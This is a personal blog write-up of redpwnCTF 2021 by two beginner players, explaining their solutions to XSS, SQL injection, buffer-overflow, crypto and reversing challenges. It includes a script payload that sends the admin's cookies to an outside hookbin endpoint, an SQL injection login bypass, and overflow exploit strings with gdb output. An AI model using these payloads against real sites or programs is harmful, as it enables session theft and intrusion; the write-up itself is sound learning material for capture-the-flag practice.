redpwnCTF 2021 - Loek's Blog

redpwnCTF 2021

A noob's perspective

This is the first 'real' CTF I've participated in. About two weeks ago, a friend of mine was stuck on some challenges from the Radboud CTF. This was a closed CTF more geared towards beginners (high school students), and only had a few challenges which required deeper technical knowledge of web servers and programming. Willem solved most of the challenges, and I helped solve 3 more.

Apart from those challenges, basically all my hacking knowledge comes from computerphile videos, liveoverflow videos and making applications myself.

epic announcement!!!

Willem has added explanations of the challenges he solved, so go read them!

Challenges

web/pastebin-1

This challenge is a simple XSS exploit. The website that's vulnerable is supposed to be a clone of pastebin. I can enter any text into the paste area, and it will get inserted as HTML code into the website when someone visits the generated link.

The challenge has two sites: one with the pastebin clone, and one that visits any pastebin url as the website administrator. The goal of this challenge is given by it's description:

Ah, the classic pastebin. Can you get the admin's cookies?

In JS, you can read all cookies without the HttpOnly attribute by reading document.cookie. This allows us to read the cookies from the admin's browser, but now we have to figure out a way to get them sent back to us.

Luckily, there's a free service called hookbin that gives you an http endpoint to send anything to, and look at the request details.

Combining these two a simple paste can be created:

<script> var post = new XMLHttpRequest(); post.open("post", "https://hookb.in/<endpoint url>"); post.send(document.cookie); </script>

crypto/scissor

I wasn't planning on including this one, but it makes use of the excellent CyberChef tool. The flag is given in the challenge description, and is encrypted using a ceasar/rot13 cipher. A simple python implementation of this cipher is included with the challenge, but I just put it into CyberChef and started trying different offsets.

rev/wstrings

Some strings are wider than normal...

This challenge has a binary that uses a simple strcmp to check the flag. When running the program, the following output is visible:

# ./wstrings Welcome to flag checker 1.0. Give me a flag>

My first stategy was running the strings utility on the wstrings binary, but I didn't find the flag. What was interesting to me though was that I also couldn't find the prompt text... This immediately made me check for other string encodings.

Running the strings utility with the -eL flag tells strings to look for 32-bit little-endian encoded strings, and lo and behold the flag shows up!

This is because ascii strings are less 'wide' than 32-bit strings:

          --- ascii ---

hex -> 0x68 0x65 0x6c 0x6c 0x6f
str -> h    e    l    l    o

Notice how each character is represented by a single byte each (8 bits) in ascii, as opposed to 32-bit characters in 32-bit land.

        --- 32-bit land ---

hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f
str -> h          e          l          l          o

I think 32-bit strings also have practical use for things like non-English texts such as Hebrew, Chinese or Japanese. Those characters take up more space anyways, and you would waste less space by not using unicode escape characters.

web/secure

Just learned about encryptionโ€”now, my website is unhackable!

This challenge is pretty simple if you know some of JS's quirks. Right at the top of the file is an sqlite3 expression in JS:

//////// db.exec(`INSERT INTO users (username, password) VALUES ( '${btoa('admin')}', '${btoa(crypto.randomUUID)}' )`);

This section of code immediately jumped out to me because I noticed that crypto.randomUUID wasn't actually being called.

Because the 'random uuid' is being fed into btoa() it becomes a base64 encoded string. However, btoa() also expects a string as input. Because every object in JS has a .toString() method, when you pass it into a function expecting another type, JS will happily convert it for you without warning.

This means that the admin's password will always be a base64-encoded version of crypto.randomUUID's source code. We can get that base64-encoded source code by running the following in a NodeJS REPL:

// import file system and crypto modules var writeFileSync = require('fs').writeFileSync; var crypto = require('crypto'); // write source to file writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8');

I made a simple shell script that calls cURL with the base64-encoded parameters, and decodes the url-encoded flag afterwards:

#!/bin/sh # https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } urldecode $(curl -sX POST \ -d "username=$(printf 'admin' | base64)" \ -d "password=$(cat ./randomUUID.js)" \ https://secure.mc.ax/login)

crypto/baby

I want to do an RSA!

This challenge is breaking RSA. It only works because the n parameter is really small.

Googling for 'rsa decrypt n e c' yields this stackoverflow result, which links to dcode.fr. The only thing left to do is calculate p and q, which can be done using wolfram alpha.

pwn/beginner-generic-pwn-number-0

rob keeps making me write beginner pwn! i'll show him...

nc mc.ax 31199

This was my first interaction with gdb. It was.. painful. After begging for help in the redpwnCTF discord server about another waaaay harder challenge, an organizer named asphyxia pointed me towards gef which single-handedly saved my sanity during the binary exploitation challenges.

The first thing I did was use iaito to look at a disassembly graph of the binary. Iaito is a graphical front-end to the radare2 reverse engineering framework, and I didn't feel like learning two things at the same time, so that's why I used it. While it's very user-friendly, I didn't look into reverse engineering tools very much, and didn't realise that iaito is still in development. Let's just say I ran into some issues with project saving so I took lots of unnecessary repeated steps.

After trying to make sense of assembly code after just seeing it for the first time, I instead decided looking at the source code would be a better idea since I actually know c.

#include <stdio.h> #include <string.h> #include <stdlib.h> const char *inspirational_messages[] = { "\"๐˜ญ๐˜ฆ๐˜ต๐˜ด ๐˜ฃ๐˜ณ๐˜ฆ๐˜ข๐˜ฌ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ต๐˜ณ๐˜ข๐˜ฅ๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ง ๐˜ญ๐˜ข๐˜ด๐˜ต ๐˜ฎ๐˜ช๐˜ฏ๐˜ถ๐˜ต๐˜ฆ ๐˜ค๐˜ฉ๐˜ข๐˜ญ๐˜ญ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ช๐˜ฏ๐˜จ\"", "\"๐˜ฑ๐˜ญ๐˜ฆ๐˜ข๐˜ด๐˜ฆ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ฆ ๐˜ข ๐˜ฑ๐˜ธ๐˜ฏ ๐˜ด๐˜ฐ๐˜ฎ๐˜ฆ๐˜ต๐˜ช๐˜ฎ๐˜ฆ ๐˜ต๐˜ฉ๐˜ช๐˜ด ๐˜ธ๐˜ฆ๐˜ฆ๐˜ฌ\"", "\"๐˜ฎ๐˜ฐ๐˜ณ๐˜ฆ ๐˜ต๐˜ฉ๐˜ข๐˜ฏ 1 ๐˜ธ๐˜ฆ๐˜ฆ๐˜ฌ ๐˜ฃ๐˜ฆ๐˜ง๐˜ฐ๐˜ณ๐˜ฆ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ค๐˜ฐ๐˜ฎ๐˜ฑ๐˜ฆ๐˜ต๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ\"", }; int main(void) { srand(time(0)); long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *)); char heartfelt_message[32]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts(inspirational_messages[inspirational_message_index]); puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); puts("can you write me a heartfelt message to cheer me up? :("); gets(heartfelt_message); if(inspirational_message_index == -1) { system("/bin/sh"); } }

After looking at this source things became a lot clearer, because the only input you can actually control is received from gets(...);

Now comes the hard part: doing it, but in assembly!

Some resources you should consume before attempting binary exploitation would be computerphile's video on buffer overflows and cheat.sh/gdb for some basic gdb commands. The rest of this section assumes you know the basics of both buffer overflows and gdb.

First, let's print a disassembly of the int main() function:

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040127c <+134>:   call   0x4010a0 <puts@plt>
   0x0000000000401281 <+139>:   lea    rdi,[rip+0xec8]        # 0x402150
   0x0000000000401288 <+146>:   call   0x4010a0 <puts@plt>
   0x000000000040128d <+151>:   lea    rdi,[rip+0xf1c]        # 0x4021b0
   0x0000000000401294 <+158>:   call   0x4010a0 <puts@plt>
   0x0000000000401299 <+163>:   lea    rax,[rbp-0x30]
   0x000000000040129d <+167>:   mov    rdi,rax
   0x00000000004012a0 <+170>:   call   0x4010f0 <gets@plt>
   0x00000000004012a5 <+175>:   cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff
   0x00000000004012aa <+180>:   jne    0x4012b8 <main+194>
   0x00000000004012ac <+182>:   lea    rdi,[rip+0xf35]        # 0x4021e8
   0x00000000004012b3 <+189>:   call   0x4010c0 <system@plt>
   0x00000000004012b8 <+194>:   mov    eax,0x0
   0x00000000004012bd <+199>:   leave
   0x00000000004012be <+200>:   ret
End of assembler dump.

This isn't the full output from gdb, but only the last few lines. A few things should immediately stand out: the 3 <puts@plt> calls, and right after the call to <gets@plt>. These are the assembly equivalent of:

puts(inspirational_messages[inspirational_message_index]); puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); puts("can you write me a heartfelt message to cheer me up? :("); gets(heartfelt_message);

Since I didn't see any reference to a flag file being read, I assumed that the system("/bin/sh") call is our main target, so let's see if we can find that in our assembly code. There's a call to <system@plt> at <main+189>, and there's other weird cmp, jne and lea instructions before. Let's figure out what those do!

After some stackoverflow soul searching, I found out that the cmp and jne are assembly instructions for compare, and jump-if-not-equal. They work like this:

; cmp compares what's in the $rbp register to 0xffffffffffffffff ; and turns on the ZERO flag if they're equal 0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff ; jne checks if the ZERO flag is on, ; and if it is it jumps (in this case) to 0x4012b8 โ”Œ--0x004012aa <+1>: jne 0x4012b8 <main+194> โ”‚; we can safely ignore the `lea` instruction as it doesn't impact our pwn โ”‚ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8 โ”‚ โ”‚; the almighty syscall โ”‚ 0x004012b3 <+3>: call 0x4010c0 <system@plt> โ”‚ โ”‚; from here on the program exits without calling /bin/sh โ””->0x004012b8 <+4>: mov eax,0x0 0x004012bd <+5>: leave 0x004012be <+6>: ret

The program checks if there's 0xffffffffffffffff in memory 0x8 bytes before the $rbp register. The program allocates 32 bytes of memory for our heartfelt message, but it continues reading even if our heartfelt message is longer than 32 bytes. Let's see if we can overwrite that register >:)

Let's set a breakpoint after the <gets@plt> call in gdb, and run the program with 40 bytes of 0x61 ('a')

(gdb) break *0x00000000004012a5
Breakpoint 1 at 0x4012a5

(gdb) run < <(python3 -c "print('a' * 40)")

I'm using the run command with < and <() to pipe the output of python into the program's stdin. It's unnecessary at this stage because there's an 'a' key on my keyboard, but if we were to send raw bytes, this would make it a lot easier.

I'm also using gef so I get access to a command called context which prints all sorts of information about registers, the stack and a small disassembly window. I won't show it's output here, but it was an indispensable tool that you should install nonetheless.

Let's print the memory at [$rbp - 0x8]:

(gdb) x/8gx $rbp - 0x8
0x7fffffffd758:  0x0000000000000000 0x0000000000000000
0x7fffffffd768:  0x00007ffff7de4b25 0x00007fffffffd858
0x7fffffffd778:  0x0000000100000064 0x00000000004011f6
0x7fffffffd788:  0x0000000000001000 0x00000000004012c0

Hmmm, no overwriteage yet. Let's try 56 bytes instead:

(gdb) run < <(python3 -c "print('a' * 56)")
(gdb) x/8gx $rbp - 0x8
0x7fffffffd758:  0x6161616161616161 0x6161616161616161
0x7fffffffd768:  0x00007ffff7de4b00 0x00007fffffffd858
0x7fffffffd778:  0x0000000100000064 0x00000000004011f6
0x7fffffffd788:  0x0000000000001000 0x00000000004012c0
(gdb) x/1gx $rbp - 0x8
0x7fffffffd758: 0x6161616161616161

Jackpot! We've overwritten 16 bytes of the address that the cmp instruction reads. Let's try setting it to 0xff instead, so we get a shell. Python 3 is not that great for binary exploitation, so the code for this is a little bit ugly, but if it works, it works!

(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)")
(gdb) x/1gx $rbp - 0x8
0x7fffffffd758: 0xffffffffffffffff

Now let's let execution continue as normal by using the continue command:

(gdb) continue
Continuing.
[Detaching after vfork from child process 22950]
[Inferior 1 (process 22947) exited normally]

This might seem underwhelming, but our explit works! A child process was spawned, and as a bonus, we didn't get any segmentation faults! The reason we don't get an interactive shell is because we used python to pipe input into the program which makes it non-interactive.

At this point I was about 12 hours in of straight gdb hell, and I was very happy to see this shell. After discovering this, I immediately tried it outside the debugger and was dissapointed to see that my exploit didn't work. After a small panick attack I found out this was because of my environment variables. You can launch an environment-less shell by using the env -i sh command:

ฮป generic โ†’ ฮป git master* โ†’ env -i sh
sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0
"๐˜ญ๐˜ฆ๐˜ต๐˜ด ๐˜ฃ๐˜ณ๐˜ฆ๐˜ข๐˜ฌ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ต๐˜ณ๐˜ข๐˜ฅ๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ง ๐˜ญ๐˜ข๐˜ด๐˜ต ๐˜ฎ๐˜ช๐˜ฏ๐˜ถ๐˜ต๐˜ฆ ๐˜ค๐˜ฉ๐˜ข๐˜ญ๐˜ญ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ช๐˜ฏ๐˜จ"
rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
can you write me a heartfelt message to cheer me up? :(
sh-5.1$ # another shell :tada:

Now it was time to actually do the exploit on the remote server.

I whipped up the most disgusting and janky python code that I won't go into detail about, but here's what is does (in short):

  1. Create a thread to capture data from the server and forward it to stdout
  2. Capture user commands using input() and decide what to do with them on the main thread

The code for this script can be found here, though be warned, it's very janky and you're probably better off copying stuff from stackoverflow. Writing your own tools is more fun though, and might also be faster than trying to wrestle with existing tools to try to get them to do exactly what you want them to do. In this case I could've also just used a simple command.

It did help me though and I actually had to copy it for use in the other buffer overflow challenge that I solved, so I'll probably refactor it someday for use in other CTFs.

crypto/round-the-bases

This crypto challenge uses a text file with some hidden information. If you open up the file in a text editor, and adjust your window width, you'll eventually see the repeating pattern line up. This makes it very easy to see what part of the pattern is actually changing:

----------------------xxxx----
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN

I wrote a simple python script to parse this into binary data, and it worked on the first try:

# read the file into a string file = open("./round-the-bases") content = file.read() file.close() # split on every 30th character into a list n = 30 arr = [ content[i : i + n] for i in range(0, len(content), n) ] bin = [] for line in arr: sub = line[16:20] # the part that changes if sub == 'IIcu': # IIcu -> 0x0 bin.append('0') else: # K0o0 -> 0x1 bin.append('1') bin = ''.join(bin) # join all the list indices together into a string # decode the binary string into ascii characters for i in range(0, len(bin), 8): print(chr(int(bin[i:i+8], 2)), end='') # newline for good measure print("\n", end='')

pwn/ret2generic-flag-reader

This was the second binary exploitation challenge I tackled, and it went much better than the first because I (sort of) knew what I was doing by now.

I figured the 'ret2' part of the title challenge was short for 'return to', and my suspicion was confirmed after looking at the c source:

#include <stdio.h> #include <string.h> #include <stdlib.h> void super_generic_flag_reading_function_please_ret_to_me() { char flag[0x100] = {0}; FILE *fp = fopen("./flag.txt", "r"); if (!fp) { puts("no flag!! contact a member of rob inc"); exit(-1); } fgets(flag, 0xff, fp); puts(flag); fclose(fp); } int main(void) { char comments_and_concerns[32]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..."); puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!"); puts("slap on some flavortext and there's no way rob will fire me now!"); puts("this is genius!! what do you think?"); gets(comments_and_concerns); }

With my newfound knowledge of binary exploitation, I figured I would have to overwrite the return pointer on the stack somehow, so the program calls the super_generic_flag_reading_function_please_ret_to_me function that isn't called at all in the original.

The only input we have control over is again a call to gets();

Let's look at the disassembly in gdb:

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004013f4 <+79>:    call   0x4010a0 <puts@plt>
   0x00000000004013f9 <+84>:    lea    rdi,[rip+0xca0]        # 0x4020a0
   0x0000000000401400 <+91>:    call   0x4010a0 <puts@plt>
   0x0000000000401405 <+96>:    lea    rdi,[rip+0xd0c]        # 0x402118
   0x000000000040140c <+103>:   call   0x4010a0 <puts@plt>
   0x0000000000401411 <+108>:   lea    rdi,[rip+0xd48]        # 0x402160
   0x0000000000401418 <+115>:   call   0x4010a0 <puts@plt>
   0x000000000040141d <+120>:   lea    rax,[rbp-0x20]
   0x0000000000401421 <+124>:   mov    rdi,rax
   0x0000000000401424 <+127>:   call   0x4010e0 <gets@plt>
   0x0000000000401429 <+132>:   mov    eax,0x0
   0x000000000040142e <+137>:   leave
   0x000000000040142f <+138>:   ret
End of assembler dump.

We see again multiple calls to <puts@plt> and right after a call to <gets@plt>. There is no cmp and jne to be found in this challenge though.

The goal is to overwrite the return address. This is a memory address also stored in memory, and the program will move execution to that memory address once it sees a ret instruction. In this 'vanilla' state, the return address always goes to the assembly equivalent of an exit() function. Let's see if we can overwrite it by giving too much input:

(gdb) break *0x000000000040142f
Breakpoint 1 at 0x40142f
(gdb) run < <(python3 -c "print('a' * 56)")
-- Breakpoint 1 hit --
(gdb) info registers
rax            0x0                 0x0
rbx            0x401430            0x401430
rsi            0x7ffff7f7d883      0x7ffff7f7d883
rdi            0x7ffff7f804e0      0x7ffff7f804e0
rbp            0x6161616161616161  0x6161616161616161
rsp            0x7fffffffd898      0x7fffffffd898
rip            0x40142f            0x40142f <main+138>

As you can see, the $rbp register is completely overwritten with 0x61's. Let's check the $rsp register to see where the main() function tries to go after ret:

(gdb) run
Starting program: ret2generic-flag-reader
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3
-- Breakpoint 1 hit --
(gdb) x/1gx $rsp
0x7fffffffd898: 0x3363326331633063

Let's use CyberChef to see what 0x3363326331633063 is in ascii!

Hmm, it's backwards. Let's reverse it!

Let's find the address of the super generic flag reading function with gdb.

(gdb) print super_generic_flag_reading_function_please_ret_to_me
$2 = {<text variable, no debug info>} 0x4011f6 <super_generic_flag_reading_function_please_ret_to_me>

Now we're ready to craft a string that exploits the program and runs the secret function!

a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original
                                        c0c1c2c3 <- ends up in $rsp
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa         <- padding ( 0x28 * 'a' )

  c 0 c 1 c 2 c 3  <- ends up in $rsp
  3 c 2 c 1 c 0 c  <- reverse
0x3363326331633063 <- reverse (hex)
0x00000000004011f6 <- pointer we want in $rsp
  f611400000000000 <- reverse
  \xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring

exploit string:
b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00'

Now let's try it in an environment-less shell:

python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
flag{this_is_a_dummy_flag_go_solve_it_yourself}

Segmentation fault (core dumped)
sh-5.1$

rev/bread-making

For this challenge, I first tried using iaito again to do some program flow analysis. After giving up on that, I decided to instead brute-force the correct steps by hand. This was a very long and boring process.

First I used strings again to extract all the dialogue and user input strings from the binary. Then I filtered them to not include obvious dialogue, but only the possible user input strings. And this is the correct path that gives the flag:

add flour
add salt
add yeast
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed

In hindsight I could've probably made a simple python script to brute force all remaining possibilities until it got longer output from the program, but laziness took over and I decided that spending 45 minutes doing very dull work was more worth it instead.

Willem's part in the CTF

Hi, Willem here.

In this part I will talk about my experience during the CTF and The collaboration between me and Loek.

web/orm-bad

This was also my first CTF, just like Loek, because of this was quite uncertain about my skill level. For example, I have no experience using Linux systems, but from what I learned before the CTF it is quite essential. My fear of not being able to do any of the challenges disappeared quickly after we had completed the beginner challenges. With a simple sql injection I got my first real flag:

username: admin';--
password:
flag{this_is_a_dummy_flag_go_solve_it_yourself}

We had planned to use github's projects to track progress on challenges, but when you're actually doing a challenge it's the last thing you think about. So, we didn't really know who was doing which challenge, but because we're a team of two this wasn't a big problem.

The most challenge were a bit to hard for me. Some I would get pretty far, but needed Loek's help to solve it. Others I didn't even attempt to begin on.

misc/the-substitution-game

One challenge I spend a lot of time on was The substitution game. In the substitution game you had to substitute certain parts of the input string to get the desired output string. I got to level for of 6. Level 1 and 2 to were really simple, but at level 3 you started to need to really understand the game.

level 3:
initial: aaaaaaaaaaaaaa (the amount of a's varied)
target: a

The solution is really simple, but it's pretty hard to get to it. You want to remove 'a's so I started with a => , this turn all 'a's to None and left you with an empty string. The problem is you can't substitute anything in an empty string. The solution was aa => a, this removed an 'a' every time the initial string got checked. To get this solution you had to realize, that the program would always substitute the first instance it would come across, and the program was set to do way more than needed substitutions. This would come handy in the next level.

level 4:
initial: ggggggggggg (the amount of g's varied)
target: ginkoid

After completing level 3 this level looks very easy, just substitute the g's like before gg => g and turn the last g into ginkoid g => ginkoid , but this didn't work because of the way the program worked, after getting to a valid solution I didn't stop and the single g in ginkoid would also change to ginkoid. You would get infinite ginkoid. The solution was:

gg => ginkoid; ginkoidginkoid => ginkoid; ginkoidg => ginkoid

I began with noticing you couldn't just change the g, because that would also change the g in ginkoid. so double gg becomes ginkoid. We have to use the same trick as in level 3 to gain only one ginkoid ginkoidginkoid => ginkoid because of the way we changed the single g's to ginkoid it would only work with an even amount of g's. In the case there was an uneven amount of g's we would be left with ginkoidg, so we remove it ginkoidg => ginkoid.

I found this challenge really enjoyable and during this challenge I noticed that I most enjoy the puzzle aspect of computer science, puzzling for hours to fix a bug and then finally finding a solution.

I didn't complete many challenges and wasn't really able to help Loek, but I really enjoyed the CTF. It's a really fun way to test your skills and knowledge. In the end I'm really happy with the score we (mostly Loek) got and I think Iโ€™ll take part in other CTFs in the future.

Epilogue

Of the 47 total challenges, me and Willem only solved 15. My end goal for this CTF wasn't winning to begin with, so the outcome didn't matter for me. After the second day I set the goal of reaching the 3rd page of the leaderboards as my goal, and we reached 277'th place in the end which made my mom very proud!

I enjoyed the CTF a lot! There were some very frustrating challenges, and I still don't get how people solved web/wtjs, but that's fine. I did learn how to use GDB and a lot of other things during the CTF which were all very rewarding. I will definitely be participating in the 2022 redpwnCTF, and maybe even some others if they're beginner friendly :)

During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe host one myself, though I have no clue where to start with that. Maybe keep an eye out for that ;)